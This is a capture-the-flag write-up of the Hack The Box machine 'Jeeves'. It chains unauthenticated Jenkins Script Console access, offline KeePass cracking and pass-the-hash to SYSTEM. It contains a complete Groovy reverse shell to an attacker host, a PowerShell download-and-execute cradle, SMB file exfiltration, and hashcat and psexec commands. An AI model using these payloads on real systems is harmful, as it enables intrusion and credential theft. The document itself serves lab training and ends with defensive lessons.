Jeeves
Jeeves is a medium-difficulty standalone Windows box built around a forgotten Jenkins instance and a developer's password manager.
- platform
- Hack The Box
- target_os
- Windows (Server 2016 / NTFS)
- difficulty
- Medium
- season
- Retired
- logged
- September 15, 2026
Summary of Exploitation
Jeeves is a medium-difficulty standalone Windows box built around a forgotten Jenkins instance and a developer’s password manager. There are no credentials to start with — everything comes out of enumeration. The chain proceeds as follows:
- Port enumeration reveals IIS on 80 (an “Ask Jeeves” search page) and Jetty on 50000 returning a bare 404 — two web servers, one of which is not advertising anything.
- Directory brute force on 50000 uncovers
/askjeeves, an unauthenticated Jenkins 2.87 dashboard with full administrative access. - Jenkins Script Console abuse — the Groovy console is arbitrary code execution as the service account. A Groovy reverse shell yields a foothold as
jeeves\kohsuke. - KeePass database looting —
CEH.kdbxinkohsuke\Documentsis cracked offline (keepass2john+hashcat -m 13400) withrockyou, revealing the master passwordmoonshine1. - Pass-the-hash — the “Backup stuff” entry stores an NTLM hash rather than a password. Passing it to
psexecasAdministratorlands a SYSTEM shell. - Alternate Data Stream — the Administrator desktop holds a taunt file instead of
root.txt; the real flag is hidden in an NTFS ADS and read withmore <.
Recon Phase
An initial full-port scan was run against the target:
nmap -p- -sS --min-rate 5000 -Pn -n -oA nmap/jeeves <target-ip>
nmap -p 80,135,445,50000 -sC -sV -oA nmap/jeeves-svc <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 80 | open | http | Microsoft IIS httpd 10.0 — title: Ask Jeeves |
| 135 | open | msrpc | Microsoft Windows RPC |
| 445 | open | microsoft-ds | Windows 7–10 microsoft-ds (workgroup: WORKGROUP) |
| 50000 | open | http | Jetty 9.4.z-SNAPSHOT — title: Error 404 Not Found |
Key takeaways from recon:
- Hostname JEEVES, standalone workgroup member — no domain, so the whole box is local-privilege territory rather than AD.
- SMB reports message signing enabled but not required, and
smb-security-modeshows the guest account was used for the scan. Worth noting, but not directly exploitable here. - Two HTTP services, and the interesting one is the one that looks empty. Jetty answering
/with a 404 means content exists somewhere — it just isn’t at the web root. - HTTP methods on 80 include
TRACE, flagged as potentially risky by Nmap. Dead end.
Web Enumeration
Port 80 — the rabbit hole
Port 80 serves a small parody of the old Ask Jeeves search engine. Submitting anything into the search box returns a static page containing what looks like a Microsoft SQL / ASP.NET stack trace image.
The value typed into the box is never actually sent as a parameter — the “error” is a flat image file, identical no matter what is entered. There is no injection point, no reflected input, and no backend. A full directory brute force confirmed it:
gobuster dir -u http://<target-ip>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx,txt,html
Nothing beyond the index page and the error image.
Note — the rabbit hole is the point. The fake stack trace is deliberately bait for SQLi. Confirming the form submits no parameters takes two minutes in Burp and saves an hour of
sqlmap. Note it, discard it, move on.
Anonymous SMB was checked at the same time and gave nothing:
smbclient -L //<target-ip>/ -N
nxc smb <target-ip> -u '' -p '' --shares
Port 50000 — finding Jenkins
Since Jetty was returning a 404 rather than a landing page, the same brute force was pointed at 50000:
gobuster dir -u http://<target-ip>:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
/askjeeves (Status: 302) --> http://<target-ip>:50000/askjeeves/
Browsing to /askjeeves/ returns a fully functional Jenkins 2.87 dashboard — no login prompt, no anonymous read-only restriction, full administrative UI.
Gotcha — wordlist choice matters.
/askjeevesis a box-specific word. It appears indirectory-list-2.3-medium.txtbut not in several smaller “common” lists. If port 50000 looks empty, the wordlist is the variable to change before concluding the port is a dead end.
Exploitation Phase
Step 1 — Jenkins Script Console → shell as kohsuke
Jenkins ships a Groovy Script Console under Manage Jenkins → Script Console, which runs arbitrary Groovy on the Jenkins master with the privileges of the service account. Granting an unauthenticated user access to it is functionally equivalent to handing out a shell.
Execution was confirmed first:
println "whoami".execute().text
jeeves\kohsuke
With execution proven, a Groovy reverse shell was pasted into the console — a ProcessBuilder spawning cmd.exe with its stdin/stdout wired to a Socket back to the attacker:
String host="<attacker-ip>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pe.read());
while(si.available()>0) po.write(si.read());
so.flush(); po.flush(); Thread.sleep(50);
try { p.exitValue(); break; } catch (Exception e){}
};
p.destroy(); s.close();
Caught on a listener:
rlwrap nc -lvnp 4444
A PowerShell-based cradle (Nishang Invoke-PowerShellTcp.ps1 hosted over python3 -m http.server) works equally well and gives a nicer shell:
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/shell.ps1')"
Note.
cmd.exeproved more stable thanpowershell.exeas the GroovyProcessBuildertarget — the Groovy shell is fragile either way, so upgrading to a PowerShell callback immediately after landing is worth the extra step.
User flag:
type C:\Users\kohsuke\Desktop\user.txt
Step 2 — Local enumeration → CEH.kdbx
Standard post-foothold checks:
whoami /priv
whoami /groups
systeminfo
kohsuke holds SeImpersonatePrivilege, which on a 2016 host of this vintage opens a JuicyPotato/RottenPotato path straight to SYSTEM. That is a legitimate shortcut but it skips the intended chain — and, importantly, it does not hand over the Administrator hash, which is the more valuable artefact. Documented as an alternate route, then set aside.
The intended path is in the user’s own profile:
dir C:\Users\kohsuke\Documents
CEH.kdbx
A .kdbx file is an encrypted KeePass database. It was pulled back to the attacker host over an SMB share:
# attacker
impacket-smbserver share $(pwd) -smb2support
# target
copy C:\Users\kohsuke\Documents\CEH.kdbx \\<attacker-ip>\share\CEH.kdbx
Step 3 — Cracking the KeePass master password
keepass2john converts the database header into a crackable hash:
keepass2john CEH.kdbx > keepass.hash
The CEH: username prefix must be stripped before feeding it to hashcat, then cracked as mode 13400 (KeePass 1/2 AES/Twofish):
sed -i 's/^CEH://' keepass.hash
hashcat -m 13400 -a 0 keepass.hash /usr/share/wordlists/rockyou.txt
$keepass$*2*6000*0*1af405cc... :moonshine1
Master password: moonshine1. John the Ripper (--format=KeePass) works identically if hashcat isn’t available.
Gotcha. Leaving the
CEH:prefix in place will make hashcat reject the line as a malformed hash rather than fail to crack it — read the error, don’t assume the wordlist is wrong.
Step 4 — “Backup stuff” → pass-the-hash as Administrator
The database was opened locally with keepassxc (or headless with kpcli, which is faster for dumping every entry):
kpcli --kdb CEH.kdbx
kpcli:/> cd CEH
kpcli:/CEH> ls
kpcli:/CEH> show -f 0
Most entries are decoys — bank, Walmart, and similar filler. One is not. The entry named “Backup stuff” stores, in the password field, an LM:NTLM pair rather than a plaintext password:
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
The LM half is the well-known empty-LM constant, so the meaningful half is the NT hash. Sprayed against the local Administrator account:
nxc smb <target-ip> -u Administrator -H e0fb1fb85756c24235ff238cbe81fe00
[+] Jeeves\Administrator:e0fb1fb8... (Pwn3d!)
A full session followed:
impacket-psexec Administrator@<target-ip> -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# or: pth-winexe -U 'Administrator%aad3b435...:e0fb1fb8...' //<target-ip> cmd.exe
nt authority\system
Note. The plaintext behind the hash is never needed and never cracked. A stored hash is a stored credential — the only difference is which tool consumes it.
Step 5 — Alternate Data Stream → Root
The Administrator desktop does not contain root.txt:
C:\Users\Administrator\Desktop> dir
hm.txt
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
NTFS supports Alternate Data Streams — additional named data streams attached to a file, invisible to a normal directory listing and to most file-reading utilities. dir /r exposes them:
C:\Users\Administrator\Desktop> dir /r
36 hm.txt
34 hm.txt:root.txt:$DATA
type cannot address a stream and fails with a syntax error. Redirecting into more reads it:
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
Root Flag Successfully Obtained
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
<root_flag>
PowerShell has native stream support and is the cleaner option where available:
Get-Item -Path C:\Users\Administrator\Desktop\hm.txt -Stream *
Get-Content -Path C:\Users\Administrator\Desktop\hm.txt -Stream root.txt
Key Takeaways
- An empty web root is a finding, not a dead end. Jetty returning 404 on
/meant content existed off-path. The whole box hinges on brute-forcing the port that looked emptier than the one that looked interesting. - Fake error pages are cheap bait. The Ask Jeeves “stack trace” is a static image with no parameter behind it. Proving a form sends nothing is faster than proving an injection doesn’t exist.
- The Jenkins Script Console is RCE by design. Unauthenticated access to
/script— or to any account that can reach it — is equivalent to a shell as the service account. In a real engagement, this is a critical finding on its own, before any escalation. - Password managers concentrate risk. A single weak master password (
moonshine1, straight out ofrockyou) unlocked every credential the developer held. Offline cracking means no lockout policy and no logging. - A hash in a password field is still a credential. “Backup stuff” was never cracked and never needed to be — NTLM authentication accepts the hash directly.
- Know your file system’s hiding places.
dirandtypeboth lie about ADS content;dir /r,more <, and PowerShell’s-Streamtell the truth. Defensively, ADS is a classic staging spot for malware payloads on NTFS. - Note the shortcuts you don’t take.
SeImpersonatePrivilegeonkohsukeoffers a JuicyPotato path to SYSTEM that skips steps 3–4 entirely. Faster, but it forfeits the Administrator hash — worth recording as an alternate route rather than pretending it isn’t there.
Full Attack Chain
unauthenticated
└─ port 50000 (Jetty, 404 at root) ──> gobuster ──> /askjeeves
└─ Jenkins 2.87, no auth ──> Script Console (Groovy)
└─ reverse shell as jeeves\kohsuke [USER]
└─ C:\Users\kohsuke\Documents\CEH.kdbx
└─ keepass2john + hashcat -m 13400 ──> moonshine1
└─ "Backup stuff" entry ──> NTLM hash
└─ pass-the-hash (psexec) ──> SYSTEM
└─ hm.txt:root.txt (NTFS ADS) [ROOT]